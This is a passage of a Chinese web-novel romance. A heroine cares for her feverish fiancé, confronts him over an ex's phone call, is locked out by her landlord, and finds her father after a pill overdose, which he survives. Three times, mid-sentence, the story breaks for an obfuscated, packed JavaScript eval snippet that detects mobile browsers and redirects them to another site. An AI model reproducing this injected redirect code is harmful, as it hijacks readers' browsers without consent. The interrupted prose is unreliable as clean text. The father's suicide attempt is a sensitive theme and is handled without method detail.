他越是这么说,姚柔伊越是没法把他丢一边,她叹了一口气,伸手摸退烧贴,已经完全没效了,她把贴了许久的退烧贴撕下来扔进垃圾桶,说:“我帮你拿冰袋。” 顾阎被烧得精神头很差,没有反驳她的话,含糊不清地“嗯”了声。 姚柔伊在冰箱里找到冰块,但没有布袋,就用食物密封袋装冰块,制作一个简易冰袋。 她将冰袋放到顾阎头上,希望能缓解一下发烧的痛苦。 她就坐在他身边,看着他,他伸手,姚柔伊握住。 她的手刚拿过冰袋,很凉很舒服,顾阎握着她的手盖到自己的脸颊上,掌下传来滚烫的温度。 姚柔伊慢慢摩挲他的脸庞,直到掌心与他干燥的嘴唇相贴。 27. 第 27 章 私家医护在一个小时后来到顾阎家,给顾阎输液。 他的手背上青筋脉络清晰凸起,很方便找血管,一针就准确无误地扎进去。 输液,吃药,一通折腾下来,顾阎下午的状态总算有所好转,很明显的一点就是愿意进食进水了。 姚柔伊的厨艺实在是对不起食材,她没有选择献丑,而是帮顾阎订了一些清淡营养的食物。 顾阎吃饱喝足后,力气恢复一半,开始打开电脑处理工作。 姚柔伊啧啧称奇:“你也太拼了,刚好一点,就忙工作,休息几天恢复好了再处理也不迟。” “有些东西耽搁不得。”尤其像他这种权责大的,集团内多少事情维系一身,他的节点不处理,事情就推展不下去。 将协同和工作邮箱浏览完毕,时间已经过去两个多小时,顾阎终于能松懈下来,精神一放松,身体的不适又重新浮现。 他躺沙发上哼哼起来。 姚柔伊忙从厨房赶过来,她正在切水果,手上湿漉漉的,抽了张纸擦手,就往顾阎额头上摸,想试试他的体温,是不是又烧起来。 那双柔软湿冷的手覆上来,格外舒适,还能闻见清新酸甜的水果香气。 “不烫啊?”姚柔伊纳闷:“你还哪里难受?” 顾阎逮住机会,卖惨:“哪都不舒服。” “那怎么办?我去拿药。” “刚吃过没多久。” “那我去叫医生。” “用不着,一天来一次就够了。” “那怎么办?”姚柔伊没辙了。 顾阎说:“你抱抱我,听说拥抱能分泌让人感到快乐的激素,说不定能对冲一下。” 姚柔伊身上还围着一个灰色偏大的围裙,这样抱他有些不妥,她说:“等等,我先把水果端出来。” “我不吃。” “我吃。”姚柔伊说。 “……”顾阎不高兴地把头偏到一边。 “回来就抱你。”姚柔伊小心地轻推他肩膀,动作有撒娇的意味,“等会喂你吃水果好不好?” 顾阎这才把头重新转回来,很给面子道:“好。” 生病的顾阎更加任性妄为,连带着智商都降低了。 姚柔伊回到厨房,她把冰箱中好几种水果洗好,去皮,切块,混杂着装进透明沙拉碗中。 防止他不吃果切,又特地榨了一杯橙汁,一起端过来。 刚把手中的果切放置好,姚柔伊还没站直,就被顾阎揽着腰往自己方向带,差点摔倒在他身上。 顾阎把脸贴在她后背,明明是狮子的体型,动作却像只黏人的喵咪。 心里某个柔软的地方霎时被戳中,她竟觉得他有些可爱。 坏了,女人最怕心疼男人,其次就是觉得男人可爱。 姚柔伊甩了甩脑袋,赶紧把这个想法驱赶出去,她扭腰,顾阎的头从她腰后转到小腹前,贴在她柔软平坦的腹部,干脆枕在她的大腿上。 这个动作过分亲昵,姚柔伊僵直身体,深呼吸让自己冷静放松,尽快适应。 她到底是舍不得把病恹恹的顾阎推开,老老实实让他这么抱着。 “喂我吃水果。”顾阎哑声发话,“你刚才怎么说的忘记了?” 姚柔伊用小叉子戳了一块苹果递过去,顾阎看了眼,闭眼没要:“太硬了,嚼不动。” “……”姚柔伊只得把苹果块自己吃掉,再换了一块猕猴桃。 顾阎继续摇头:“现在不想吃酸的。” 姚柔伊再次吃下叉子上的水果,又换了个香蕉。 顾阎还是不满意:“不喜欢吃香蕉。”除了刚健完身补充快碳时会吃,其余时候基本不吃。 “你好龟毛哦,”姚柔伊一边吃下香蕉,一边吐槽:“你的绅士风范呢?不是应该我递给你什么,你就说声谢谢,然后乖乖吃掉。” 顾阎“哼”了声,“我阶段性绅士不行吗?” 姚柔伊斜眼:“绅士难道不是刻在骨子里的教养?” “不喂我吃就算了,一点都不心疼我。”顾阎仗着生病耍起来小孩脾气。 他就想知道此时此刻,姚柔伊能纵容他到什么程度。 见他蛮不讲理的样子,姚柔伊无奈地叹气:“那给你喝橙汁好不好,实在不知道你想吃什么。” 顾阎正好口渴,遂不再折腾,点头。 姚柔伊把他的头扶起来,把鲜榨橙汁的吸管放进他嘴里。 顾阎喝了几口,吞咽时的锐痛感宛如生吞刀片,不肯再喝。 “我刚才尝过了,不酸的,多喝点。” “嗓子疼,喝不下。”顾阎想起什么来又问:“你是不是很喜欢橙子?” “是。”姚柔伊承认,也很意外他为什么会这么问:“你怎么知道?” 顾阎闭着眼睛,淡声说:“你之前喷的香水都是一股橙子味。有时候你整个人闻起来都像个大橙子。” 姚柔伊喜欢橙子应该是打娘胎里带出来的习惯,听说她的妈妈,在怀姚柔伊的时候突然特别想吃橙子,整个孕期不知道吃了多少筐,医生都害怕她会有妊娠期高血糖,让她节制。姚柔伊出生后,完美继承了妈妈孕期的喜好,也钟情橙子,以及所有橙子味道的香水或是洗浴用品。 “你喜欢吗?”姚柔伊还不知道他对气味的偏好。 顾阎:“还好,只要别太熏人就行,什么花味,草味,水果味,檀香味的随便,好闻就行。” 他对香水并不了解,自己用香水也只是社交礼仪,助理帮他准备的。 姚柔伊:“嘿嘿,你不反感就行,我遇到过橙子过敏的人。” “还有这种过敏?”除了老外会有起奇奇怪怪的过敏源,顾阎很少在国内看见有人过敏的。 “天下之大,无奇不有。”而且这个人还是她的某位前任,只要她喷上橙子调的香水,这人一旦靠近她,身上就会瘙痒发红,那段短暂的相处时光,姚柔伊只能尽量不用香水。 他们就这么依偎着,顾阎没吃多少水果,姚柔伊也没有,她有严格的热量摄入标准。 顾阎保持着这个亲昵的姿势,逐渐睡过去,他昨晚基本上没睡,现在好不容易舒服一点,总算得以入眠。 感受到顾阎的呼吸逐渐平缓深沉,姚柔伊低头,看见他微蹙眉的侧脸,他在睡梦中仍不舒适,姚柔伊伸手摸上他的眉头,似乎想将这处褶皱推平。 顾阎眼睫轻颤两下,姚柔伊怕他醒来,收回了手。 姚柔伊此刻是哪都不能去,也不敢挪动身体,只能后仰靠在沙发背上,慢慢闭上眼睛,不多时也入眠了。 两人是被一阵手机铃声惊醒的。 姚柔伊基本一直都是静音模式,这通电话肯定不是她的,顾阎更是睡眼惺忪,一脸被吵醒的不耐烦表情。 他手掌支在姚柔伊腿边,艰难支起身体,口中骂了句:“艹!” “我帮你拿。”顾阎离开她的腿,姚柔伊得了行动自由,忙起身,过去拿放在桌面上的手机。 顾阎卸力,跌回沙发上。 姚柔伊拿到手机,没忍住好奇,低头看了眼来电显示,是一串没有备注的号码。 骚扰电话?姚柔伊不敢确定。 她把手机拿给顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736949|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阎,顾阎接过,费力睁眼瞅了眼来电人。 是孟筝。 姚柔伊就在身边,他必然是不可能接通的,哪怕她不在,以他现在难受虚弱的程度,也不会接。 顾阎直接挂断。 姚柔伊好奇:“谁啊?” “不认识。”顾阎摇头,他懒得解释,就干脆说不认识。 姚柔伊:“现在信息泄露太严重了,我也会经常接到一些推销电话,可烦人了。” “嗯。” 几秒钟后,同样的电话又打过来。 姚柔伊的好奇彻底被勾起,一般骚扰电话,在被挂断后很少会再打第二遍,因为知道对方不想接,再打过去哪怕接通也会被骂,根本起不到任何推销作用。 而这人却在极短时间内又打过来,即便不是认识的人,大概率也是真想联系上顾阎。 “是不是真有急事找你,要不接一下试试吧。”姚柔伊提议。 她是希望顾阎能接通电话,让她听一下打过来的人说什么,满足一下她的好奇心。 顾阎仍然没接,再度挂断。 以他对孟筝的了解,她的自尊心只够支撑她大胆两次,严格遵循“事不过三”的原则。 果不其然,电话没有再打来。 姚柔伊的好奇心却并没有沉寂下去,她总觉得这位来电人很有可能并不是陌生人,那什么人明明认识,却没有存在通讯录里,以一种原始号码的形态存在。 要么是存过,但是删掉了,要么就是对号码太熟悉,根本不用存。 不管是哪个可能性,都惹人遐想,或许非但不是陌生人,而是极其熟悉的人,并且还是不能和她说的熟人。 要不说女人是天生的推理大师,光靠直觉,姚柔伊已经非常接近真相。 姚柔伊略气,心里头堵得慌,酸酸涩涩的,她不是不知道顾阎这人肯定有前任,但是这前任居然还能联系上他,实在让人不爽。 她的前男友,虽然也没拉黑,但早已静默躺列了,根本没有再联系过。 “我知道她是谁。”姚柔伊语气很肯定。 当你想问一个人是谁时,不要直接问,这样问不出来是谁,而是要说自己知道,这样对方才会坦白。这是一个很浅显的博弈策略。 奈何顾阎纵横生意场那么多年,什么样的博弈场面没经历过,这种丝毫不会吓住他。 “要我打回去吗?”顾阎说。 打回去就相当于两个人又联系上,更加扯不清,姚柔伊不是不知道这个理,她想探知对方前任信息,却并不想两人真当着她的面你侬我侬。 “你这么想打回去?”姚柔伊生气反问。 顾阎:“我真想打回去,干嘛还挂断呢?” “因为我在这里,打扰了你们,不然你就接了。” “你在这里我没接,不就更证明你的重要性了吗?” 诡辩,真乃诡辩,姚柔伊都不知道该怎么往下接,再这么说下去,搞得自己无理取闹一样。 她一点都不希望自己变成那样,整天患得患失,一点小事就容易吃醋爆炸。 “反正我知道她是谁。”姚柔伊说:“但我不care,希望你能记住我们当前的关系,你不是单身状态。” “谢谢你的提醒,咱们快结婚了,我知道。”顾阎又去抱她,姚柔伊在气头上,挣开了他的怀抱。 顾阎又说:“任何人都不重要,谁都不能影响既定事实,我们即将结婚这件事。” “我有一点点反悔。”姚柔伊突然说道。 顾阎眉头一紧,心下怔然,哑声:“反悔什么?” 28. 第 28 章 反悔什么? 姚柔伊自己也想不明白。 是反悔认识了顾阎吗?还是反悔答应下来履约娃娃亲? 不,这些都不是根源,其实是反悔,自己没有管住自己的心,在这段时间的相处下,对他动心了。 一旦动心,事情就变了,不再是场简单的交易,她有了更多的欲望,更多的奢求。 比如说,希望得到他的爱,比如说,希望得到他的忠诚。 可顾阎这人于她而言,是个很远很远的人,不是一个和她年龄相仿、经历相似、志趣相投的人。他有太多她不曾参与的过去,而这些东西,他也不愿意拿出来和她交流。 他看重当下,往事如烟,她拼命想抓住那缕烟,而他只会觉得她这个样子很傻。 “你反悔什么了?”顾阎重复问一遍。 该怎么回答呢,如果说放弃,自己并不开心,如果说爱他,自己更加不开心。 “反悔过来了。”姚柔伊说,“我不来不就看不见了吗?” 顾阎松了一口气,他强硬地抱住她,头搁在她的肩膀处,声音软了下去:“可是你来,我真的好开心。” “从看见你的时候,病开始加速好的。”顾阎继续倾诉。 他的语气是那么的诚恳,配上这样的甜言蜜语,纵使心硬如姚柔伊,也不免心乱如麻。 姚柔伊:“花言巧语。” 顾阎:“肺腑之言。” “那你拉黑她。”姚柔伊说:“这样我就相信你。” 顾阎一哂,咧嘴笑道:“啧,原来根源还是在这儿。” “这个要求很难吗?” “不难。”顾阎将手机拿过来,当着姚柔伊的面,把孟筝拉黑。 “不管你信不信,我没有对任何人余情未了。” “她还会找你吗?” “说不准,她也在国内,不知道什么时候回去。” “你刚才不是还说是不认识的人吗?” “我只是不想解释罢了。”顾阎幽幽叹气:“谁生着病,还想解释这些乱七八糟的往事。” “那你现在为什么承认了?” “因为听到你说反悔了。”顾阎知道反悔更深层的意思,所以在听到她没有给这场关系宣判死刑时,内心陡然生出一种劫后余生的快感。 “你是害怕了吗?”姚柔伊心情好转:“害怕我要说分开?” “一定要说出来嘛,我不要面子的吗?”顾阎无奈,低头咬了一口她的手。 “你是狗吗?还咬人。”一点不疼,还痒痒的。 “我现在真要病成狗了,还要哄你开心。”见危机彻底解除,顾阎继续卖惨。 “难道这怪我吗?”姚柔伊说:“还不是你们俩的事,一个纠缠不休,一个不肯坦白。” 姚柔伊直接给这两人定责,把自己摘除出去,本来她就是无辜的。 “你刚才说别忘了我们的关系……”顾阎继续道:“那你想什么时候推进我们的关系呀?” “什么什么什么嘛。”姚柔伊生气时的话,被顾阎捉住,开始催进度。 她原先给出的说法就是毕业前不结婚,现在她毕业了,已经脱离校园一个月,结婚这件事要被提上进程了。 “爷爷现在的身体状况越来越差了,上次三叔去看望他,说他现在一天只能清醒两三个小时,我是希望尽快的。” “我……我考虑一下。”姚柔伊没想到催婚会来的这么快。 “嗯,我不是逼迫你的意思,就是提醒一下。” “我知道了。”姚柔伊点头。 明明原本他们就是因为娃娃亲才有所接触的,合约也签订过了,就算明天就去领证也是合情合理的,就是不知道自己怎么突然心里有点踟蹰。 她真想回到那个并不喜欢他的时刻,只为了搞钱和他在一起。 而现在掺杂了情感,她开始畏手畏脚,不再那么潇洒,什么都不在乎,哪怕知道他在外面养情人,也看在利益的面子上睁一只眼闭一只眼。 她现在更想要的是心在一起,和他恋爱,而不是单纯住在一起,履约结婚。 * 第二天,顾阎病好了大半,他开始去公司,姚柔伊也回去了。 刚到租的地方,发现了一个致命问题,密码锁的密码被换了,她进不去。 姚柔伊赶紧联系房东。 房东正在搓麻将,周围声音特别嘈杂,她今天手气不好连输几把,脾气特别冲,正好姚柔伊倒霉悲催地撞上了枪口,她语气格外不善:“换密码怎么了,我这房子已经卖出去了,你最好赶紧收拾收拾搬走。” “我租了一年,你现在立刻过来给我开门!”姚柔伊直接爆发:“我管你卖没卖出去,我给你三十分钟,不过来我立马报警!” “死丫头片子,叫什么叫!”房东拔高嗓音:“晦气,又输了!” “活该。”姚柔伊说完就挂了电话,不给房东回话骂她的机会。 她联系完房东,马上又联系了中介,愤怒地跟中介说明情况,中介忙安抚她,说会按照合同上赔偿损失的。 大概过了半个小时,姚柔伊见等不来房东,开始报警。 民警很负责,带姚柔伊去麻将馆找到了房东,房东见她竟然真的报警,这才收敛性子随她回去开门。 民警走后,房东死瞪她一眼:“这点小事你还麻烦警察,有没有家教哦?” 姚柔伊不甘示弱地瞪回去:“对付你要什么教养,我告诉你我也不是好欺负的,我会走,但是你违约的事我也会追究下去,你最好回去好好看看租房合同。” 房东轻蔑:“违约金不就是一个月房租啊,我不要了就是。” “押一付三,我第二次付的三个月也没住完,你最好按天给我退还,一分都不能少。” “小小年纪、斤斤计较。” “一把年纪、为老不尊。” 此话一出,房东跟姚柔伊继续吵起来,两个人吵了好半天,直到房东表示要去接孙子了,才算告一段落。 房东走后,姚柔伊看着房子里这么多东西,一想到收拾搬家满腹愁绪。 真没想到,她也就去了顾阎那两天,这房东就这么快把房子给卖出去了,还更换密码,完全不给她留一点时间去重新找房子,恨不得当场让她搬走。 姚柔伊联系蒋洲,蒋洲立马用刻薄讽刺的俏皮话将房东从头骂到尾,然后很遗憾地跟姚柔伊说,他现在出国玩了,没法收留她。 姚柔伊决定先把不重要东西收拾出来寄回家里,重要的东西打包带到下一个租处。 一旦做完决定,行动起来就很快,她一边收拾一边断舍离,很多买来之后长时间没用过的东西全扔了,不收拾不知道,一收拾吓一跳,原来自己无形中花了那么多冤枉钱。 之后她暗下决心,以后只买高品质贵价好物,再也不抠抠搜搜地乱买一通,不满意还嫌麻烦没有退货。 姚柔伊整理完一个大包裹要寄回去,她提前联系老姚。 自打从新疆回来,紧接着就是画稿和顾阎生病,还没来得及抽空关心老姚身心健康。 周叔的离去给老姚很大的打击,不知道这些天过去了,他有没有看开。 姚柔伊给老姚打电话,没接。 难不成这些天没联系,老姚闹脾气了? 姚柔伊怪羞愧的,平日里她和老姚联系得并不频繁,偶尔十天半个月才打一次电话很正常,但现在是老姚深受打击的时间段,自己没有每天一个电话关心老姚,着实也有点不称职。 姚柔伊接着打,还是没接。 一连四五个电话过去,始终没人接,姚柔伊心生疑窦,老姚不会无缘无故不接电话的,之前从没有联系不上的情况,渐渐地姚柔伊开始恐惧,老姚毕竟已经遣散了身边所有人,现在是孤家寡人,连个保镖都没有,该不会被讨债的抓走了吧? 虽说现在是法治社会,但黑恶势力并不是消灭殆尽,万一…… 姚柔伊忙联系了同个小区的赵阿姨,求她去她家看看老姚在家吗,自己联系不上他很着急。 赵阿姨一直是菩萨心肠,在姚家破产后难得没有落井下石,不像之前老姚的那些个生意好友,唯恐他借钱,躲得远远的,要么装不认识,要么装自己经济困难。 赵阿姨接到姚柔伊的电话请求,忙答应下来,还宽慰她让她别着急,老姚可能暂时出门了,手机没电才没接到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738069|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话。 赵阿姨到了姚家,敲门没人应,她跟姚柔伊说老姚现在不在家,她晚些饭点的时候再过来吧。 姚柔伊心里愈发忐忑,老姚这人比较宅,根本不怎么会长时间出远门。 她把密码锁的密码以及备用钥匙放在哪儿都告诉赵阿姨,求她进去看一下老姚是不是真的不在家,家里有没有被翻乱,她怀疑有人入室抢劫,绑架了老姚。 这个说法把赵阿姨吓了一跳,她心里犯怵,有点想走,可电话那头的姚柔伊都快哭了,想到她连个妈都没有,家里又落难,赵阿姨于心不忍,到底是按照姚柔伊说的打开了门。 赵阿姨胆战心惊地进门,客厅里空无一人,家具摆设很整齐,没有翻动的痕迹,看着并不像被人闯入过,赵阿姨稍稍心安。 赵阿姨一边跟姚柔伊通话,一边四下查看。 姚柔伊同赵阿姨挂了电话,改成视频,这样更方便查看家里到底怎么样了。 “对,就是这个房间,我爸的卧室。”在赵阿姨上了二楼,对准东南方向的一间门时,姚柔伊出声提醒。 赵阿姨走到门前,敲门,无人应答。 姚柔伊:“麻烦您进去看一下,我爸在不在里面。”虽然也不相信老姚能睡成一头死猪,家里进人敲门了都毫无反应。 赵阿姨按下门把手,推门进入。 一进去就看见老姚躺在床上,一动不动。 “啊——”赵阿姨吓得惊叫,身体猛地一抖,手机差点没拿稳摔下去。 姚柔伊同样吓得不行,她并没有预想到,老姚竟然真的就在卧室! “赵阿姨,麻烦您走近一点,让我看看我爸到底怎么了?”姚柔伊声音抖得像筛子,泪止不住流下来。 赵阿姨惊魂未定,颤颤巍巍走上前,大力推了一下老姚胳膊:“老姚,你闺女来电话了,快起来!” 老姚仍是一动不动。 赵阿姨鼓足勇气,伸手探了一下老姚的鼻息,非常微弱。 赵阿姨扭头看向老姚的手,见他手旁有个药瓶,里面空无一物,她吓到不行:“你爸寻死了,他吞药了!” 姚柔伊在看到药瓶的那一刻,有一种强烈想呕吐的冲动,她像被人死死勒住了脖子,快要喘不上气来。 “救护车,救护车……”她慌乱地只重复这句话,这是当前能想到的唯一希望。 “是、是、是……”赵阿姨这才回过神,忙把视频挂断,拨打了120。 打完120后,赵阿姨又给姚柔伊去了个电话,告诉她自己刚试了下老姚的鼻息,还有气,你别伤心过度,老姚还有的救。 姚柔伊正在拼命往家赶,什么收拾东西搬家一事,统统不重要了。 现在老姚的生死存在才是头等大事! 她已经失去了母亲,如果老姚也走了,那她在这世界上便没有双亲了。 她无比庆幸今天想起来给老姚打电话,同样也无比懊恼,为什么现在才给老姚打电话,在老姚做出自杀决定前,他有多痛苦,她这个女儿竟一无所知! 如果老姚被救回来,她还有忏悔弥补的机会,若是老姚没有救回来,她这一辈子都活在自责悔恨之中,永世难安。 她突然觉得自己之前还纠结什么情情爱爱的,真的好肤浅,好幼稚。 三个小时后,姚柔伊赶到医院,老姚已经洗完胃,还在重症监护室观察中。 看见赵阿姨的那一刻,姚柔伊抱住了她,哽咽:“谢谢您,多亏您去帮我看一眼,不然……” “唉,可怜的孩子,有你这么优秀的闺女,老姚怎么会想不开呢。”赵阿姨拍着姚柔伊的背,也是泪眼婆娑,忍不住唉声叹气。 姚柔伊接着忙着去办理住院、缴费,一直到手续弄完之后,她的紧绷情绪才稍有改善。 她问医生,老姚到底怎么样了,医生说还好送来及时,再晚半小时,神仙都难救,今晚在重症监护室观察一晚,指标没问题了就能转到普通病房。 姚柔伊一个劲道谢。 送走赵阿姨之后,在空荡荡的医院走廊里,莫大的孤独疲惫感涌上来,四下无人,她蹲下来,把自己缩成一个团,胳膊环抱住双腿,像新生儿在母亲子宫里那样。 29. 第 29 章 老姚第二天转入了普通病房,在看到阳光的那一刻,他流泪了。 姚柔伊坐在一边,也无声地流泪。 她不想指责老姚,不想追问他为什么选择结束自己的生命,难道这世上真的没有值得你留恋的吗? “没死成。”老姚声音很微弱。 “身体什么感觉,难不难受,用不用叫医生来看看?” 老姚慢慢摇头。 “又要拖累你了。”老姚说完头转到一边,不敢看她。 “说什么话,发生了什么,我们不是亲人吗?” “老周走了之后,我一直在想,我要是能有点用就好了,这样公司也不会破产,老周也不会没了工作,你也不用为了钱去跟人家假结婚,一切都不会是这样的结局,我太没有用了,当年你爷爷就说过我根本不是经商的这块料,但是他就我一个儿子,只能让我接班,果不其然,我把他留下的基业全弄没了。” “别说了,人各有所长,不适合就不适合,咱以后找自己擅长的事情做,不开公司了。” “我要是成功走了,债务就没了,你也不用再做不喜欢的事了,到时候你就找个自己喜欢的男人结婚,那种高门大户的人家,嫁进去日子不好过的。” “我知道,我没逼着自己嫁给他,我挺喜欢他的。”姚柔伊伸手拂去面上眼泪,“债务的事我来想办法,当时顾阎和我说过你的债务他负责,我现在就跟他结婚,先让他把债务的事情给解决了,你别太有心理压力。” “你就是精神压力太大了,再加上周叔离世,又刺激了你,导致这样,我这段时间太忽视你的感受了。”姚柔伊自我检讨。 老姚摇头,“你太懂事了,虽然你总说自己叛逆,可你比谁都懂事,还独立。” 姚柔伊鼻子一酸,刚止住的泪又掉了下来。 老姚并不是没心没肺的人,相反老姚是个敏感多情的男人,他幼时的梦想是当一个流浪诗人,他喜欢读书,各种书都读,尤其是诗歌,读得最多,读到最后开始自己写,甚至还想着以后一边四处云游、一边写诗发表,灵魂和□□同时达到自由。 奈何老姚作为家中独子,肩上的担子不允许他这么任性,他只能被迫进入公司,学习各种事务,慢慢接管公司。 老姚从此再也不读书写诗了,他开始做一个商人,但或许天生就不是这块料子,越努力越心酸,越折腾越倒霉,姚柔伊的成长是伴随着姚家的衰落一同进行的,直到她即将能独当一面时,老姚也彻底败完了公司。 由于资产的不断衰减,母亲在她幼时和父亲离婚,和一个华侨老板再婚,移民国外再没回来过。 或许老姚对自我的否定是从放弃诗歌的那一刻就存在的,只不过这些年的经历不停地加重这一想法,他心中早已埋下了死亡的种子。 只是这枚种子一直到现在才破土而出。 她很后悔在新疆的那个夜晚,和老姚说周叔的选择未必是错误的,若是活着痛苦,死亡未必是不好的选择。 她忽然想起那晚顾阎的话,她说:“自杀的人是不能变成星星的。” 老姚无力地笑了一下。 “死亡不是一个好的选择。”姚柔伊说:“活着痛苦对立面应该是活得快乐,而不是死了解脱。” “快乐,我已经没有什么快乐了,我就想不再牵累你。” “重新写诗吧。”姚柔伊说。 老姚猛地睁大眼,不可置信地看向姚柔伊,“什么写诗?” “你年轻的时候,不是喜欢写诗吗,我之前还偷偷看过你以前写诗的那个本子呢。” 自姚柔伊有记忆以来,老姚确实没有再写过诗了,但写过必然会留下痕迹,姚柔伊断断续续从其他亲人那里听些关于老姚年轻时候的事迹,最让她好奇的必然是爸爸以前想当诗人这件事,老姚一不在家,她就去翻书房,终于给她翻出来蛛丝马迹,老姚还是没有舍得把他之前写过的诗集全部销毁,而是藏在书柜最下面一层,不仔细翻找根本不容易看见这个本子。 以姚柔伊的文学品味来看,老姚的诗并不出彩,只是自娱自乐的程度,但人如果有真心热爱的事情,哪怕并没有靠着热爱成名发财,光是去做这件事就是一件很快乐的事情。 “好久好久以前了。”老姚语气怅惘:“我当不来诗人。” “谁说的,流浪诗人很酷的,等我们还完债,就去做流浪诗人。” “我已经不年轻了。” “流浪诗人又不是考公务员,超过35岁就不能参加了。” 老姚的情绪没有方才那般厌世了,这让姚柔伊真正安心了一瞬,只要他不沉浸在寻死的氛围里,那么一切都是有改变的可能。 现阶段就是债务的问题。 先解决这个现实问题,老姚没了经济压力,才能去追求精神的解放。 姚柔伊从没想到,顾阎提出加快进度的时候,自己还在左右摇摆,而现在,是她迫不及待地想尽快完婚,只有这样,才能尽快履约,从顾家拿到钱还上老姚的债。 他们的关系似乎从暧昧心动的阶段,又回归到利益驱动阶段。 但那又怎么样,不过是一切回到原点。 “你真的要嫁给他吗?”老姚说:“我之前想你嫁给他,是希望你不用跟着我过欠债的苦日子,但现在也想明白了,有时婚姻不能只看钱的,你能养活自己,靠自己过上好日子,这就够了,何必去依附别人,一辈子看人脸色行事。” “真的,我要嫁给他。”虽然姚柔伊清楚,老姚不想连累她,不想因为债务问题让姚柔伊没法自由选择自己的婚姻大事,但以理性思维考虑,她没有办法真的把老姚的债务问题抛却掉,人不可能不为现实低头,别说她对顾阎有好感,不觉得跟他结婚是强迫、是委屈,哪怕她真的不喜欢顾阎,此刻她也只能选择尽快完婚。 “是因为爱吗?” “是的。”姚柔伊为了让老姚安心,和他说起了那晚的事情,“你给我打电话的那晚,顾阎也在新疆,他来找我的,他还说喜欢我,你看我们结婚是两情相悦的,不是因为娃娃亲约定。” 老姚流下欣慰的泪水,“那就好、那就好,我总算敢去见你爷爷了。” “别瞎说,什么见爷爷,你要是想他了,就去墓地祭拜一下,少做傻事,我结婚那天你还得出席呢,还得牵着我的手,把我交给新郎,对不对?” “是的。” “所以,好好养好身体,我明天带几本诗歌来给你看,咱们重操旧业,开开心心过日子。” 老姚从鬼门关转了一趟,内心五味杂陈,既然老天爷没让他死成,给了他重生的机会,或许自己真的该试一下另一种生活。 老姚点点头,又说:“饿了。” 姚柔伊笑了一下:“好,我去下面餐厅打包点东西上来。” 住院部的电梯总格外难等,没个三五分钟等不来一趟,在姚柔伊等待之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741085|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,顾阎发了一条微信。 顾阎:【你去哪了?我给你点餐,配送员说你不在家,还联系不上。】 姚柔伊心力交瘁,为老姚住院一声忙前忙后,没接到电话,也没来得及查看通讯录。 她没有隐瞒:【我在医院。】 顾阎很快播来视频通话。 姚柔伊接通。 见她一脸憔悴,但又没有卧病在床,顾阎摸不清什么状况,他问:“是不是我的病过给你了?” 他很懊恼,当时为什么非要贪恋她的温柔,没有强制让她与自己隔离开。 “不是。”姚柔伊有气无力地挤出一个笑:“我爸住院了。” “叔叔怎么了?” “洗胃。”姚柔伊没有告知实情,她想替老姚遮掩一二,“食物中毒吧。” 顾阎关切问:“情况严重吗?” 姚柔伊:“脱离生命危险了,再住几天院观察一下,就能回去了。” “为什么不跟我说?” “可能……”姚柔伊苦笑了一下:“你还没跟我结婚吧。” “这不是迟早的事情吗?” “最早是什么时候?”姚柔伊轻声说:“我想尽快。” 顾阎:“到底发生了什么事,突然转变想法,之前你还说要回去考虑考虑的。” “我考虑完了,我同意,我想尽快。” “好,我来安排。” “那个……”见他同意,姚柔伊磕磕绊绊地说出难以启齿的请求:“就是之前你答应的条件,负责老姚债务问题,能不能在结婚之后快一点兑现?” “你是因为这事吗?”顾阎之前随口许诺的一句话,也没往心里去,反正他也不差这钱,那时他也没有对姚柔伊一家多么上心,久而久之忘了这茬,没想到姚柔伊在此时突然旧事重提。 “有这个方面原因吧。”姚柔伊艰难开口:“毕竟你也知道的,我一开始同意和你结婚,也是因为钱,那个什么房子我不要了,能不能就尽快把我爸的债给填了。” “一码事归一码事。”顾阎说:“我既然答应了,自然不会食言。” “好,有你这句话我就放心了。” “说了这么多,你就没有其他想说的吗?” “什么?” “比如说有没有想我?” 姚柔伊叹气:“我现在根本没有力气想这些。” 这个诚实的回答让顾阎很失望,他不想告诉她,其实这些天他挺想她的。 “你和我结婚,真的就是为了债务吗?”顾阎话中暗含期盼:“就没有一点别的什么因素在?” 明明知道他想听到什么样的回答,可姚柔伊此刻却很难说出来。 自从父母离异、家境渐衰之后,她愈发的独立,有什么困难都是自己面对,很少会真心地依赖旁人,她学不来向别人展示自己的脆弱,生活越难的时候,她越倔强。 她很清楚,如果她说出他想听的话,那他就会心疼自己,帮她解决眼下难题,不需要她再受苦受累,可她就是别扭地开不了口。 可能因为他们的家境已经天差地别,她更想守护那脆弱的自尊,不肯向他服软低头。 她只道:“主要为了我爸,他身体不大行了,我不想再让他因为债务问题,精神压力大。” “好,我知道了。”他说完这句话,又说了句:“照顾好自己。” 之后,未等她回话,便挂断通话。 30. 第 30 章 